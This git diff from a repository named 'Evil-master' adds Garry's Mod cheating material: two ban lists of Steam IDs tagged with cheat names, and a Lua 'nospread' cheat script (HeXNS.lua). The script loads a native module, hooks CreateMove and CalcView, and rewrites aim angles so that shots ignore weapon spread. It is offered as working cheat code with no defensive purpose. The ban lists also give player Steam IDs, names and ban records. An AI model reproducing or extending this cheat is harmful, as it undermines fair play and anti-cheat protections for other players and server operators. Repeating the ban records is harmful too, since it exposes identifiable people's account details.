+STEAM_0:0:28183970;Cheat: Code injection +STEAM_0:0:20743276;Cheat: Code injection +STEAM_0:1:421861172;Cheat: Speedhack +STEAM_0:1:30470607;Cheat: Code injection +STEAM_0:1:18704943;Cheat: Code injection(unbanned) +STEAM_0:0:30256551;Cheat: Code injection +STEAM_0:1:33289438;Cheat: Code injection +STEAM_0:1:17267267;Cheat: Inkbot +STEAM_0:0:33459537;Cheat: rc/rf +STEAM_0:0:7382018;Cheat: Code injection +STEAM_0:1:44810352;Cheat: Code injection +STEAM_0:1:26676964;Cheat: Code injection +STEAM_0:0:24988955;Cheat: Code injection +STEAM_0:0:14922341;Cheat: Code injection +STEAM_0:0:24974888;Cheat: Code injection +STEAM_0:0:36180396;Cheat: Code injection +STEAM_0:1:30107073;Cheat: Code injection +STEAM_0:0:43988463;Cheat: Code injection +STEAM_0:1:19831541;Cheat: Code injection +STEAM_0:1:37681134;Cheat: CubHack +STEAM_0:1:29226146;Cheat: CubHack +STEAM_0:1:44138147;Cheat: Code injection +STEAM_0:0:19318165;Cheat: Code injection +STEAM_0:0:30714265;Cheat: Code injection +STEAM_0:0:39187983;Cheat: Code injection +STEAM_0:0:36794289;Cheat: Code injection +STEAM_0:1:33708353;Cheat: Code injection +STEAM_0:1:12406388;Cheat: Code injection +STEAM_0:0:27068832;Cheat: Code injection +STEAM_0:1:36928215;Cheat: Code injection +STEAM_0:0:41802;Cheat: Code injection +STEAM_0:0:30735853;Cheat: Code injection +STEAM_0:0:10418914;Cheat: Code injection +STEAM_0:0:30354552;Cheat: Code injection +STEAM_0:0:30652639;Cheat: Code injection +STEAM_0:0:22534432;Cheat: Code injection +STEAM_0:1:30537140;Cheat: Code injection +STEAM_0:0:18691624;Cheat: Code injection +STEAM_0:0:18007424;Cheat: Code injection +STEAM_0:1:38572580;Cheat: Code injection +STEAM_0:1:42476821;Cheat: Unknown +STEAM_0:1:36927998;Cheat: Unknown +STEAM_0:1:25107044;Cheat: Code injection +STEAM_0:0:44107553;Cheat: Code injection +STEAM_0:0:20406383;Cheat: Code injection +STEAM_0:1:15789158;Cheat: Code injection +STEAM_0:1:22227066;Cheat: Code injection +STEAM_0:1:21555783;Cheat: Code injection +STEAM_0:0:37589369;Cheat: Code injection +STEAM_0:1:26057694;Cheat: Code injection +STEAM_0:1:25397734;Cheat: Code injection +STEAM_0:0:38604448;Cheat: Code injection +STEAM_0:0:15726896;Cheat: Inkbot +STEAM_0:0:19811962;Cheat: Inkbot +STEAM_0:0:38727026;Cheat: Code injection +STEAM_0:1:23359101;Cheat: Code injection +STEAM_0:0:36250162;Cheat: Eradicate +STEAM_0:1:20264839;Cheat: Unknown +STEAM_0:1:17629619;Cheat: Isis +STEAM_0:0:32752830;Cheat: Code injection +STEAM_0:1:38418099;Cheat: Code injection +STEAM_0:0:26745412;Cheat: Code injection +STEAM_0:0:29255499;Cheat: Code injection +STEAM_0:1:31854870;Cheat: Code injection +STEAM_0:1:22582910;Cheat: Code injection +STEAM_0:1:22689778;Cheat: Code injection +STEAM_0:0:24794531;Cheat: Code injection +STEAM_0:1:34494278;Cheat: Code injection +STEAM_0:0:42475015;Cheat: Code injection +STEAM_0:0:5305833;Cheat: Pees +STEAM_0:0:29466967;Cheat: Code injection +STEAM_0:0:20043407;Cheat: Code injection +STEAM_0:1:12965434;Cheat: Code injection +STEAM_0:1:8856483;Cheat: Code injection +STEAM_0:1:21779583;Cheat: Code injection +STEAM_0:0:32819171;Cheat: Code injection +STEAM_0:1:25272720;Cheat: Code injection +STEAM_0:1:41391523;Cheat: Code injection +STEAM_0:1:37173161;Cheat: Code injection +STEAM_0:1:15479136;Cheat: Code injection +STEAM_0:0:25900751;Cheat: Code injection +STEAM_0:0:23403890;Cheat: Mydik +STEAM_0:1:39945838;Cheat: Code injection +STEAM_0:1:13709339;Cheat: LHM +STEAM_0:1:25783134;Cheat: Code injection +STEAM_0:1:3992689;Cheat: LHM +STEAM_0:0:29437358;Cheat: LHM +STEAM_0:1:14239923;Cheat: Inkbot +STEAM_0:1:37543716;Cheat: Inkbot +STEAM_0:1:42084743;Cheat: Gooberhack +STEAM_0:0:26637072;Cheat: Herpaflerp +STEAM_0:0:19735449;Cheat: Litebotgarry +STEAM_0:0:19561634;Cheat: Code injection +STEAM_0:1:3176600;Cheat: Mydik +STEAM_0:0:25295126;Cheat: Mydik +STEAM_0:0:34092283;Cheat: Gooberhack +STEAM_0:1:13014240;Cheat: Mydik +STEAM_0:0:2255757;Cheat: Mydik +STEAM_0:1:6018850;Cheat: Code injection +STEAM_0:0:29248785;Cheat: Code injection +STEAM_0:0:33017392;Cheat: Code injection +STEAM_0:1:10569351;Cheat: Eradicate +STEAM_0:1:25636734;Cheat: Code injection +STEAM_0:0:39817531;Cheat: Code injection +STEAM_0:1:25484778;Cheat: Code injection +STEAM_0:0:31109435;Cheat: Code injection +STEAM_0:0:26707259;Cheat: Code injection +STEAM_0:0:33752125;Cheat: Code injection +STEAM_0:1:23946737;Cheat: Code injection +STEAM_0:0:41087968;Cheat: Code injection +STEAM_0:1:28372989;Cheat: Code injection +STEAM_0:1:20513516;Cheat: Code injection +STEAM_0:0:13498644;Cheat: Code injection +STEAM_0:1:32073049;Cheat: Code injection +STEAM_0:0:17104852;Cheat: Code injection +STEAM_0:1:11726504;Cheat: Code injection +STEAM_0:0:19622107;Cheat: Code injection +STEAM_0:1:1816051;Cheat: Code injection +STEAM_0:1:15292404;Cheat: Code injection +STEAM_0:0:18167133;Cheat: Code injection +STEAM_0:1:6183216;Cheat: Code injection +STEAM_0:1:10908429;Cheat: Code injection +STEAM_0:1:6076942;Cheat: Code injection +STEAM_0:0:41331055;Cheat: Code injection +STEAM_0:0:41745347;Cheat: Code injection +STEAM_0:1:28757742;Cheat: Code injection +STEAM_0:1:31713955;Cheat: Code injection +STEAM_0:1:24595045;Cheat: Code injection +STEAM_0:0:11481020;Cheat: Code injection +STEAM_0:1:41274325;Cheat: Code injection +STEAM_0:1:18214819;Cheat: Code injection +STEAM_0:0:15644324;Cheat: Code injection +STEAM_0:0:41331055;Cheat: Code injection +STEAM_0:0:23888757;Cheat: Code injection +STEAM_0:1:15922559;Cheat: Code injection +STEAM_0:0:24963345;Cheat: Code injection +STEAM_0:1:20237730;Cheat: Code injection +STEAM_0:1:40856910;Cheat: Code injection +STEAM_0:1:14220841;Cheat: Code injection +STEAM_0:1:15575003;Cheat: Code injection +STEAM_0:1:23361066;Cheat: Code injection +STEAM_0:1:32234981;Cheat: Code injection +STEAM_0:1:36017201;Cheat: Code injection +STEAM_0:0:21044008;Cheat: Code injection +STEAM_0:0:26526813;Cheat: Code injection +STEAM_0:0:22349391;Cheat: Code injection +STEAM_0:0:30874880;Cheat: Code injection +STEAM_0:0:37814204;Cheat: Code injection +STEAM_0:1:15712642;Cheat: Code injection +STEAM_0:1:19916550;Cheat: Code injection +STEAM_0:0:3228595;Cheat: Code injection +STEAM_0:1:32324604;Cheat: Code injection +STEAM_0:1:17424205;Cheat: Code injection +STEAM_0:0:20102730;Cheat: Code injection +STEAM_0:1:17790269;Cheat: Code injection +STEAM_0:0:34143111;Cheat: Code injection +STEAM_0:0:18838483;Cheat: Code injection +STEAM_0:1:14496711;Cheat: Injectshunt +STEAM_0:0:11799654;Cheat: SethHack(edit) +STEAM_0:1:15029381;Cheat: Whip it good +STEAM_0:0:5979318;Cheat: Whip it good +STEAM_0:1:30594971;Cheat: Code injection +STEAM_0:1:11641057;Cheat: Code injection +STEAM_0:1:18460701;Cheat: Sethhack +STEAM_0:0:26159643;Cheat: Inkbot +STEAM_0:0:14073219;Cheat: Convar forcing +STEAM_0:0:35192837;Cheat: Sethhack +STEAM_0:1:25757548;Cheat: Eradicate +STEAM_0:1:10897283;Cheat: Sethhack +STEAM_0:1:17041504;Cheat: Convar forcing +STEAM_0:1:18460921;Cheat: Sethhack +STEAM_0:0:19254119;Cheat: Sethhack +STEAM_0:0:32655084;Cheat: Sethhack +STEAM_0:0:12190592;Cheat: Code injection +STEAM_0:0:17605909;Cheat: Sethhack +STEAM_0:0:14690776;Cheat: Sethhack +STEAM_0:0:28871977;Cheat: Speedhack +STEAM_0:0:2294681;Cheat: Convar forcing +STEAM_0:1:6068936;Cheat: Code injection +STEAM_0:1:37836545;Cheat: Hermes +STEAM_0:1:6427907;Cheat: Aspergers +STEAM_0:1:12209165;Cheat: Hermes +STEAM_0:0:13388289;Cheat: Eradicate +STEAM_0:1:18811312;Cheat: SySHack +STEAM_0:1:16190578;Cheat: Sethhack +STEAM_0:0:31831863;Cheat: Sethhack +STEAM_0:1:37548052;Cheat: Inkbot +STEAM_0:0:31831863;Cheat: Sethhack(leaked) +STEAM_0:0:18816061;Cheat: Sethhack(leaked) +STEAM_0:0:15446164;Cheat: Hermes +STEAM_0:1:20789337;Cheat: Hermes +STEAM_0:1:20789337;Cheat: Hermes +STEAM_0:0:19938980;Cheat: Sethhack +STEAM_0:1:21918773;Cheat: Sethhack +STEAM_0:0:28903624;Cheat: Sethhack +STEAM_0:1:22018370;Cheat: Sethhack +STEAM_0:0:31866003;Cheat: Sethhack +STEAM_0:0:38362287;Cheat: Sethhack +STEAM_0:1:12808689;Cheat: Sethhack +STEAM_0:1:32988394;Cheat: Sethhack +STEAM_0:1:25879423;Cheat: Sethhack +STEAM_0:1:37118627;Cheat: Sethhack +STEAM_0:1:19732775;Cheat: Ph0ne +STEAM_0:0:14530371;Cheat: Code injection(SQLite) +STEAM_0:0:17003802;Cheat: Code injection(SQLite) +STEAM_0:0:29163952;Cheat: Code injection(SQLite) +STEAM_0:0:5325124;Cheat: Code injection(SQLite) +STEAM_0:1:29853070;Cheat: Code injection(SQLite) +STEAM_0:0:22770384;Cheat: Sethhack +STEAM_0:1:7334549;Cheat: Code injection(SQLite) +STEAM_0:1:20026079;Cheat: Odius +STEAM_0:1:27526575;Cheat: Odius +STEAM_0:1:13196020;Cheat: Eradicate +STEAM_0:1:33763522;Cheat: Sethhack +STEAM_0:1:24435842;Cheat: Sethhack +STEAM_0:1:37118627;Cheat: Sethhack +STEAM_0:1:24435842;Cheat: Sethhack +STEAM_0:0:29163952;Cheat: Code injection +STEAM_0:0:22748305;Cheat: Baconbot +STEAM_0:0:20327715;Cheat: Sethhack +STEAM_0:0:19586627;Cheat: Convar forcing +STEAM_0:1:29478760;Cheat: Convar forcing +STEAM_0:1:25369713;Cheat: Convar forcing +STEAM_0:0:22914080;Cheat: Convar forcing +STEAM_0:1:21523239;Cheat: Baconbot +STEAM_0:0:31767822;Cheat: Baconbot +STEAM_0:1:16421568;Cheat: Convar forcing +STEAM_0:1:19748919;Cheat: Baconbot +STEAM_0:1:17749887;Cheat: Baconbot +STEAM_0:1:16212076;Cheat: Baconbot +STEAM_0:0:33944948;Cheat: Baconbot +STEAM_0:1:1198860;Cheat: Baconbot +STEAM_0:0:1194255;Cheat: Baconbot +STEAM_0:1:18361092;Cheat: Baconbot +STEAM_0:0:20088064;Cheat: Baconbot +STEAM_0:0:3597677;Cheat: Speedhack +STEAM_0:1:25915952;Cheat: Sethhack +STEAM_0:1:24309692;Cheat: Sethhack +STEAM_0:0:19878867;Cheat: Sethhack +STEAM_0:0:6669318;Cheat: Sethhack +STEAM_0:1:22240086;Cheat: Sethhack +STEAM_0:1:22293020;Cheat: Sethhack +STEAM_0:1:25315900;Cheat: Sethhack +STEAM_0:1:15465879;Cheat: Sethhack +STEAM_0:1:27791499;Cheat: Sethhack +STEAM_0:1:21748050;Cheat: Sethhack +STEAM_0:1:17465034;Cheat: Sethhack +STEAM_0:1:14563562;Cheat: Sethhack +STEAM_0:0:18515312;Cheat: Sethhack +STEAM_0:0:21373726;Cheat: Sethhack +STEAM_0:1:23674993;Cheat: Sethhack +STEAM_0:0:14100771;Cheat: Sethhack +STEAM_0:0:25331167;Cheat: Sethhack +STEAM_0:1:20811691;Cheat: Sethhack +STEAM_0:1:8343226;Cheat: Sethhack +STEAM_0:0:17141267;Cheat: Sethhack +STEAM_0:1:2381903;Cheat: Sethhack +STEAM_0:0:20314230;Cheat: Sethhack +STEAM_0:1:26262689;Cheat: Sethhack +STEAM_0:0:29351959;Cheat: Sethhack +STEAM_0:1:16373250;Cheat: Sethhack +STEAM_0:1:5247800;Cheat: Sethhack +STEAM_0:1:17906432;Cheat: Sethhack +STEAM_0:1:30433726;Cheat: Sethhack +STEAM_0:0:16764526;Cheat: Baconbot +STEAM_0:1:14928653;Cheat: Baconbot +STEAM_0:0:11680407;Cheat: Baconbot +STEAM_0:1:18011105;Cheat: Baconbot +STEAM_0:1:30046997;Cheat: Baconbot +STEAM_0:0:15521306;Cheat: Convar forcing +STEAM_0:0:18952303;Cheat: Baconbot +STEAM_0:0:30626912;Cheat: Baconbot +STEAM_0:1:22597435;Cheat: Baconbot +STEAM_0:0:14891104;Cheat: Convar forcing +STEAM_0:0:17574951;Cheat: Baconbot +STEAM_0:1:34176202;Cheat: Baconbot +STEAM_0:1:9750737;Cheat: Convar forcing +STEAM_0:0:19321794;Cheat: Convar forcing +STEAM_0:0:16018224;Cheat: Convar forcing +STEAM_0:0:14073219;Cheat: Baconbot +STEAM_0:1:30764583;Cheat: Baconbot +STEAM_0:0:22247737;Cheat: Baconbot +STEAM_0:0:19648713;Cheat: Baconbot +STEAM_0:0:19248793;Cheat: Baconbot +STEAM_0:1:13100739;Cheat: Baconbot +STEAM_0:1:13908513;Cheat: Baconbot +STEAM_0:1:15710428;Cheat: Unknown +STEAM_0:1:22111898;Cheat: Convar forcing +STEAM_0:1:15404351;Cheat: Baconbot +STEAM_0:1:19957547;Cheat: Baconbot +STEAM_0:1:15404351;Cheat: Baconbot +STEAM_0:0:21491851;Cheat: Unknown +STEAM_0:0:29046889;Cheat: Unknown +STEAM_0:0:3592017;Cheat: Unknown +STEAM_0:0:18146611;Cheat: Unknown +STEAM_0:0:19767060;Cheat: Unknown +STEAM_0:0:5100034;Cheat: Unknown +STEAM_0:0:24859251;Cheat: Unknown +STEAM_0:0:24318831;Cheat: Unknown +STEAM_0:0:21513525;Cheat: Baconbot +STEAM_0:0:3592017;Cheat: Baconbot +STEAM_0:0:29790222;Cheat: Baconbot +STEAM_0:1:18227696;Cheat: Baconbot +STEAM_0:1:30286410;Cheat: Baconbot +STEAM_0:1:22038220;Cheat: Baconbot +STEAM_0:1:33488877;Cheat: Baconbot +STEAM_0:0:16042279;Cheat: Baconbot +STEAM_0:1:19354830;Cheat: Baconbot +STEAM_0:1:20810532;Cheat: Baconbot +STEAM_0:0:19531733;Cheat: Baconbot +STEAM_0:0:33443787;Cheat: Baconbot +STEAM_0:1:9011787;Cheat: Baconbot +STEAM_0:1:22111898;Cheat: Baconbot +STEAM_0:1:12040384;Cheat: Unknown +STEAM_0:0:8345987;Cheat: Unknown +STEAM_0:0:19490976;Cheat: Unknown +STEAM_0:0:3749847;Cheat: Unknown +STEAM_0:1:27042639;Cheat: Unknown +STEAM_0:0:18511864;Cheat: Unknown +STEAM_0:1:29771895;Cheat: Unknown +STEAM_0:1:29535476;Cheat: Unknown +STEAM_0:1:17568188;Cheat: Unknown +STEAM_0:1:17908541;Cheat: Unknown +STEAM_0:0:18287027;Cheat: Unknown +STEAM_0:1:15476329;Cheat: Unknown +STEAM_0:1:29502701;Cheat: Unknown +STEAM_0:0:15500261;Cheat: Unknown +STEAM_0:0:16267538;Cheat: Unknown +STEAM_0:0:20479184;Cheat: Unknown +STEAM_0:0:26269678;Cheat: Unknown +STEAM_0:1:18617255;Cheat: Unknown +STEAM_0:0:27332827;Cheat: Unknown +STEAM_0:0:25559717;Cheat: Unknown +STEAM_0:1:29142644;Cheat: Unknown +STEAM_0:1:21756969;Cheat: Unknown +STEAM_0:1:19650313;Cheat: Unknown +STEAM_0:1:21756969;Cheat: Unknown +STEAM_0:1:15231011;Cheat: Unknown +STEAM_0:1:15979882;Cheat: Unknown +STEAM_0:1:5247800;Cheat: Unknown +STEAM_0:0:29192036;Cheat: Unknown +STEAM_0:0:31585345;Cheat: Unknown +STEAM_0:0:16330620;Cheat: Unknown +STEAM_0:1:16485732;Cheat: Unknown +STEAM_0:1:22482699;Cheat: Unknown +STEAM_0:0:20854764;Cheat: Unknown +STEAM_0:1:30710525;Cheat: Unknown +STEAM_0:0:5550966;Cheat: Unknown +STEAM_0:0:25470945;Cheat: Unknown +STEAM_0:0:26895317;Cheat: Unknown +STEAM_0:0:11431754;Cheat: Unknown +STEAM_0:0:28656241;Cheat: Unknown +STEAM_0:0:10131725;Cheat: Unknown +STEAM_0:0:19807101;Cheat: Unknown +STEAM_0:0:26165399;Cheat: Unknown +STEAM_0:1:18222074;Cheat: Unknown +STEAM_0:1:18307252;Cheat: Unknown +STEAM_0:0:22284069;Cheat: Unknown +STEAM_0:0:17600393;Cheat: Unknown +STEAM_0:0:8615861;Cheat: Unknown +STEAM_0:0:11801739;Cheat: Unknown +STEAM_0:1:22111898;Cheat: Baconbot +STEAM_0:0:16499611;Cheat: Baconbot +STEAM_0:0:9643377 ;Cheat: Speedhack +STEAM_0:0:38808302;Cheat: Unknown \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/hex_nospread/HeXNS.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/hex_nospread/HeXNS.lua new file mode 100644 index 0000000..13c8e56 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/hex_nospread/HeXNS.lua @@ -0,0 +1 @@ +if SERVER then return end concommand.Add("hex_nospread_kill", function() hook.Remove("Initialize", "CheckCheck") hook.Remove("CreateMove", "HeXCMove") hook.Remove("CalcView", "HeXCalcView") end) concommand.Add("hex_nospread_reload", function() hook.Remove("Initialize", "CheckCheck") hook.Remove("CreateMove", "HeXCMove") hook.Remove("CalcView", "HeXCalcView") timer.Simple(0.2,function() include("HeX/demand/HeXNS.lua") end) end) if not HeXGlobal_NSLoaded then concommand.Add("hex_nospread_load", function() HeXGlobal_NSLoaded = true timer.Simple(1,function() include("HeX/client/HeXNS.lua") end) end) return end local HeXNoSpread = CreateClientConVar("hex_nospread", 1, true, false) local AimSmooth = CreateClientConVar( "hex_nospread_smooth", 0, true, false ) local clientsidenoclip = false local iZoom = 0 local iZoomAdd = 0 local MoveSpeed = 1 local ucorrected = Angle(0,0,0) local ghostpos = nil local SetViewAngles = _R.CUserCmd.SetViewAngles local ID_GAMETYPE = ID_GAMETYPE or -1 local function HeXSetupMove(objPl, move) if move then MoveSpeed = (move:GetVelocity():Length())/move:GetMaxSpeed() end end local GameTypes = { {check=function () return string.find(GAMEMODE.Name,"Garry Theft Auto") ~= nil end,getcone=function (wep,cone) if type(wep.Base) == "string" then if wep.Base == "civilian_base" then local scale = cone if LocalPlayer():KeyDown(IN_DUCK) then scale = math.Clamp(cone/1.5,0,10) elseif LocalPlayer():KeyDown(IN_WALK) then scale = cone elseif (LocalPlayer():KeyDown(IN_SPEED) or LocalPlayer():KeyDown(IN_JUMP)) then scale = cone + (cone*2) elseif (LocalPlayer():KeyDown(IN_FORWARD) or LocalPlayer():KeyDown(IN_BACK) or LocalPlayer():KeyDown(IN_MOVELEFT) or LocalPlayer():KeyDown(IN_MOVERIGHT)) then scale = cone + (cone*1.5) end scale = scale + (wep:GetNWFloat("Recoil",0)/3) return Vector(scale,0,0) end end return Vector(cone,cone,cone) end}, {check=function () return type(TEAM_ZOMBIE) == "number" and type(TEAM_SURVIVORS) == "number" and string.find(GAMEMODE.Name,"Zombie Survival") ~= nil and type(NUM_WAVES) == "number" end,getcone=function (wep,cone) if wep:GetNetworkedBool("Ironsights",false) then if LocalPlayer():Crouching() then return wep.ConeIronCrouching or cone end return wep.ConeIron or cone elseif 25 < LocalPlayer():GetVelocity():Length() then return wep.ConeMoving or cone elseif LocalPlayer():Crouching() then return wep.ConeCrouching or cone end return cone end}, {check=function () return type(TEAM_ZOMBIE) == "number" and type(TEAM_SURVIVORS) == "number" and string.find(GAMEMODE.Name,"Zombie Survival") ~= nil end,getcone=function (wep,cone) if LocalPlayer():GetVelocity():Length() > 25 then return wep.ConeMoving or cone elseif LocalPlayer():Crouching() then return wep.ConeCrouching or cone end return cone end}, {check=function () return type(gamemode.Get("ZombRP")) == "table" or type(gamemode.Get("DarkRP")) == "table" end,getcone=function (wep, cone) if type(wep.Base) == "string" and (wep.Base == "ls_snip_base" or wep.Base == "ls_snip_silencebase") then if LocalPlayer():GetNWInt( "ScopeLevel", 0 ) > 0 then print("using scopecone") return wep.Primary.Cone end print("using unscoped cone") return wep.Primary.UnscopedCone end if type(wep.GetIronsights) == "function" and wep:GetIronsights() then return cone end return cone + .05 end}, {check=function () return (GAMEMODE.Data == "falloutmod" and type(Music) == "table") end,getcone=function(wep,cone) if wep.Primary then local LastShootTime = wep.Weapon:GetNetworkedFloat( "LastShootTime", 0 ) local lastshootmod = math.Clamp(wep.LastFireMax + 1 - math.Clamp( (CurTime() - LastShootTime) * wep.LastFireModifier, 0.0, wep.LastFireMax ), 1.0,wep.LastFireMaxMod) local accuracy = wep.Primary.Accuracy if LocalPlayer():IsMoving() then accuracy = accuracy * wep.MoveModifier end if wep.Weapon:GetNetworkedBool( "Ironsights", false ) then accuracy = accuracy * 0.75 end accuracy = accuracy * ((16-(Skills.Marksman or 1))/11) if LocalPlayer():KeyDown(IN_DUCK) then return accuracy*wep.CrouchModifier*lastshootmod else return accuracy*lastshootmod end end end} } local function CheckCheck() for k, v in pairs(GameTypes) do if v.check() then ID_GAMETYPE = k break end end end local tblNormalConeWepBases = { ["weapon_cs_base"] = true } local function GetCone(wep) local cone = wep.Cone if not cone and type(wep.Primary) == "table" and type(wep.Primary.Cone) == "number" then cone = wep.Primary.Cone end if not cone then cone = 0 end --CHeck if wep is HL2 then return corresponding cone if type(wep.Base) == "string" and tblNormalConeWepBases[wep.Base] then return cone end if wep:GetClass() == "ose_turretcontroller" then return 0 end if ID_GAMETYPE ~= -1 then return GameTypes[ID_GAMETYPE].getcone(wep,cone) end return cone or 0 end if not HeXGlobal_NSModuleLoaded then HeXGlobal_NSModuleLoaded = true require("hex0") package.loaded.hex0 = nil HeXGlobal_hl2_shotmanip = hl2_shotmanip HeXGlobal_hl2_ucmd_getprediciton = hl2_ucmd_getprediciton _G.hl2_shotmanip = nil _G.hl2_ucmd_getprediciton = nil end local currentseed, cmd2, seed = currentseed or 0, 0, 0 local wep, vecCone, valCone local function HeXSpread(cmd,aimAngle) if not HeXNoSpread:GetBool() then return aimAngle end cmd2, seed = HeXGlobal_hl2_ucmd_getprediciton(cmd) if cmd2 ~= 0 then currentseed = seed end wep = LocalPlayer():GetActiveWeapon() vecCone = Vector(0,0,0) if wep and wep:IsValid() and type(wep.Initialize) == "function" then valCone = GetCone(wep) if type(valCone) == "number" then vecCone = Vector(-valCone,-valCone,-valCone) elseif type(valCone) == "Vector" then vecCone = -1*valCone end elseif wep and wep:IsValid() then local class = wep:GetClass() local spreads = { weapon_357 = Vector(0,0,0), weapon_smg1 = Vector(0.04362, 0.04362, 0.04362), weapon_ar2 = Vector(0.02618, 0.02618, 0.02618), weapon_pistol = Vector(0.00873, 0.00873, 0.00873), weapon_shotgun = Vector(0.08716, 0.08716, 0.08716), } if spreads[class] then vecCone = -1*spreads[class] end end return HeXGlobal_hl2_shotmanip(currentseed or 0, (aimAngle or LocalPlayer():GetAimVector():Angle()):Forward(), vecCone):Angle() end local function HeXCMove(cmd) if state && angles!=Angle(0,0,0) then local MouseFixUp = AimSmooth:GetFloat() != 0 and Angle(cmd:GetMouseY() * GetConVarNumber("m_pitch"), cmd:GetMouseX() * -GetConVarNumber("m_yaw")) or Angle(0,0,0) angles = angles + MouseFixUp angles.r=0 ucorrected = angles ucorrected.p = math.NormalizeAngle(ucorrected.p) ucorrected.y = math.NormalizeAngle(ucorrected.y) if (cmd:GetButtons() & IN_ATTACK > 0) then local AntiSpread = HeXSpread(cmd,angles) AntiSpread.p = math.NormalizeAngle(AntiSpread.p) AntiSpread.y = math.NormalizeAngle(AntiSpread.y) SetViewAngles(cmd,AntiSpread) else SetViewAngles(cmd,angles) end else local correct = 1 if iZoom != 0 then correct = ( 1 - ( iZoom / 100 ) ) end if !(IsValid(LocalPlayer():GetActiveWeapon()) && LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" && (cmd:GetButtons() & IN_USE) > 0) then ucorrected.y = math.NormalizeAngle(ucorrected.y + (cmd:GetMouseX() * -0.022 * correct)) ucorrected.p = math.Clamp(ucorrected.p + (cmd:GetMouseY() * 0.022 * correct), -89, 90) end --if !clientsidenoclip:GetBool() || ghostpos == nil then if !clientsidenoclip || ghostpos == nil then if (cmd:GetButtons() & IN_ATTACK > 0) and not IsValid(LocalPlayer():GetVehicle()) then if HeXNoSpread:GetBool() then local ang = HeXSpread(cmd, ucorrected) ang.p = math.NormalizeAngle(ang.p) ang.y = math.NormalizeAngle(ang.y) SetViewAngles(cmd, ang) else SetViewAngles(cmd, ucorrected) end else SetViewAngles(cmd, ucorrected) end end end end local function HeXCalcView( ply, origin, angl, fov ) if IsValid(ply:GetVehicle()) then return end if clientsidenoclip && ghostpos != nil then local view = {} view.origin = ghostpos return view end ghostpos = origin iZoom = math.Clamp( iZoom + ( iZoomAdd * 140 * FrameTime() ), 0, 80 ) if state && angles!=Angle(0,0,0) then local view={} if iZoom > 0 then view.fov = 90 - iZoom end angles.r=0 view.angles= angles return view end local view={} if iZoom > 0 then view.fov = 90 - iZoom end view.angles=ucorrected return view end --hook.Add("SetupMove", "HeXSetupMove", HeXSetupMove) hook.Add("Initialize", "CheckCheck", CheckCheck) hook.Add("CreateMove", "HeXCMove", HeXCMove) hook.Add("CalcView", "HeXCalcView", HeXCalcView) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/lllll.txt b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/lllll.txt new file mode 100644 index 0000000..eea0f58 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/lllll.txt @@ -0,0 +1,9072 @@ + + BanList + +** +Date Name Steamid Reason Admin Server Gamemode +Time (d:h:m) + + Status +9:41 pm 23-06-12 Cheese STEAM_0:0:40110328 stop +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Banned +9:40 pm 23-06-12 ThaHax1337 STEAM_0:0:16017873 you can shut up too ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Banned +8:51 pm 23-06-12 Unknown STEAM_0:0:40906562 Cheat: coma (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:50 pm 23-06-12 Unknown STEAM_0:0:49963094 Cheat: isis (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:49 pm 23-06-12 Unknown STEAM_0:1:39052921 Cheat: isis (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:48 pm 23-06-12 Unknown STEAM_0:1:43651259 Cheat: neon (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:48 pm 23-06-12 Unknown STEAM_0:0:11406901 Cheat: pockybot (Edit of +age-old slobbot, perhaps?) (Console) Fretta|Tigergruppe Kommand +Trouble in Terrorist Town Permanent Banned +8:47 pm 23-06-12 Unknown STEAM_0:0:20973005 Cheat: inkbot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:45 pm 23-06-12 Unknown STEAM_0:0:18648599 Cheat: inkbot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:45 pm 23-06-12 Unknown STEAM_0:1:30602489 Cheat: isis (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:43 pm 23-06-12 Unknown STEAM_0:0:10384960 Cheat: g (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:42 pm 23-06-12 Unknown STEAM_0:0:22313374 Cheat: int (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:41 pm 23-06-12 Unknown STEAM_0:1:2826106 Cheat: int (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:40 pm 23-06-12 Unknown STEAM_0:0:29999073 Cheat: monsterhack +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:38 pm 23-06-12 Unknown STEAM_0:1:40296742 Cheat: lix (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:37 pm 23-06-12 Unknown STEAM_0:1:30714994 Cheat: neon (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:36 pm 23-06-12 Unknown STEAM_0:1:24177661 Cheat: Elebot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:36 pm 23-06-12 Unknown STEAM_0:1:41886656 Cheat: Elebot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:35 pm 23-06-12 Unknown STEAM_0:0:20651275 Cheat: Neon (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:35 pm 23-06-12 Unknown STEAM_0:1:24315562 Cheat: Coma (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:19901992 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:38131040 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:33957251 